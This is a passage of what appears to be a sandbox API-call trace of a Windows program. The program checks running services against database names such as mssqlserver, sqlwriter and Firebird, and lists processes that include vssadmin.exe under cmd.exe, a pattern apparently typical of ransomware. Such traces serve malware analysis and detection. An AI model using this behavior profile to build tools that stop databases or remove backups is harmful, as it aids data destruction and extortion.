lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0132.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0132.214] lstrlenW (lpString="UxSms") returned 5 [0132.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0132.215] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0132.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0132.215] lstrlenW (lpString="VSS") returned 3 [0132.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0132.215] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0132.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0132.215] lstrlenW (lpString="W32Time") returned 7 [0132.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0132.215] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0132.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0132.215] lstrlenW (lpString="WdiServiceHost") returned 14 [0132.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0132.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0132.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0132.215] lstrlenW (lpString="WdiSystemHost") returned 13 [0132.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0132.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0132.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0132.215] lstrlenW (lpString="WinDefend") returned 9 [0132.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0132.215] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0132.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0132.215] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0132.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0132.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0132.215] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0132.216] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0132.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0132.216] lstrlenW (lpString="Winmgmt") returned 7 [0132.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0132.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0132.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0132.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0132.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0132.216] lstrlenW (lpString="wscsvc") returned 6 [0132.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0132.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0132.216] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0132.216] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0132.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0132.216] lstrlenW (lpString="wuauserv") returned 8 [0132.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0132.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0132.216] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0132.216] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0132.216] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0132.218] Process32FirstW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.219] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.219] lstrlenW (lpString="System") returned 6 [0132.219] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.220] lstrlenW (lpString="smss.exe") returned 8 [0132.220] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.220] lstrlenW (lpString="csrss.exe") returned 9 [0132.221] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.221] lstrlenW (lpString="wininit.exe") returned 11 [0132.221] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.222] lstrlenW (lpString="csrss.exe") returned 9 [0132.222] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.223] lstrlenW (lpString="winlogon.exe") returned 12 [0132.223] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.223] lstrlenW (lpString="services.exe") returned 12 [0132.223] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.224] lstrlenW (lpString="lsass.exe") returned 9 [0132.224] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.224] lstrlenW (lpString="lsm.exe") returned 7 [0132.225] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.225] lstrlenW (lpString="svchost.exe") returned 11 [0132.225] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.226] lstrlenW (lpString="svchost.exe") returned 11 [0132.226] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.226] lstrlenW (lpString="svchost.exe") returned 11 [0132.227] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.227] lstrlenW (lpString="svchost.exe") returned 11 [0132.227] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.228] lstrlenW (lpString="svchost.exe") returned 11 [0132.228] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.228] lstrlenW (lpString="audiodg.exe") returned 11 [0132.229] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.229] lstrlenW (lpString="svchost.exe") returned 11 [0132.229] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.230] lstrlenW (lpString="svchost.exe") returned 11 [0132.230] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.230] lstrlenW (lpString="dwm.exe") returned 7 [0132.230] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.231] lstrlenW (lpString="explorer.exe") returned 12 [0132.231] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.232] lstrlenW (lpString="spoolsv.exe") returned 11 [0132.232] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.233] lstrlenW (lpString="taskhost.exe") returned 12 [0132.233] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.233] lstrlenW (lpString="svchost.exe") returned 11 [0132.233] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0132.234] lstrlenW (lpString="taskeng.exe") returned 11 [0132.234] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.235] lstrlenW (lpString="taskhost.exe") returned 12 [0132.235] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0132.236] lstrlenW (lpString="fixwaves.exe") returned 12 [0132.236] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0132.237] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0132.237] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0132.238] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0132.238] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0132.238] lstrlenW (lpString="monsaver.exe") returned 12 [0132.239] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0132.239] lstrlenW (lpString="dosesugar.exe") returned 13 [0132.239] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0132.240] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0132.240] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0132.240] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0132.240] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0132.241] lstrlenW (lpString="nonprofit top.exe") returned 17 [0132.241] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0132.242] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0132.242] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0132.242] lstrlenW (lpString="accused.exe") returned 11 [0132.242] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0132.243] lstrlenW (lpString="governance.exe") returned 14 [0132.243] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0132.244] lstrlenW (lpString="old.exe") returned 7 [0132.244] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0132.244] lstrlenW (lpString="xi cg.exe") returned 9 [0132.244] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0132.245] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0132.245] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0132.246] lstrlenW (lpString="burlington.exe") returned 14 [0132.246] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0132.325] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0132.325] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0132.325] lstrlenW (lpString="buildings.exe") returned 13 [0132.325] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0132.326] lstrlenW (lpString="predictions_took.exe") returned 20 [0132.326] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0132.327] lstrlenW (lpString="carry_dns.exe") returned 13 [0132.327] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0132.327] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0132.327] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.328] lstrlenW (lpString="svchost.exe") returned 11 [0132.328] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.329] lstrlenW (lpString="sppsvc.exe") returned 10 [0132.329] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.329] lstrlenW (lpString="svchost.exe") returned 11 [0132.329] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0132.330] lstrlenW (lpString="msiexec.exe") returned 11 [0132.330] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0132.331] lstrlenW (lpString="cmd.exe") returned 7 [0132.331] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.331] lstrlenW (lpString="conhost.exe") returned 11 [0132.331] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0132.332] lstrlenW (lpString="vssadmin.exe") returned 12 [0132.332] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0132.333] lstrlenW (lpString="VSSVC.exe") returned 9 [0132.333] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.333] lstrlenW (lpString="svchost.exe") returned 11 [0132.333] Process32NextW (in: hSnapshot=0x224, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0132.334] CloseHandle (hObject=0x224) returned 1 [0132.334] Sleep (dwMilliseconds=0x1f4) [0133.121] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0133.121] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0133.121] GetLastError () returned 0xea [0133.121] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0133.122] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0133.122] lstrlenW (lpString="Appinfo") returned 7 [0133.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0133.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0133.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0133.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0133.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0133.123] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.123] lstrcmpiW 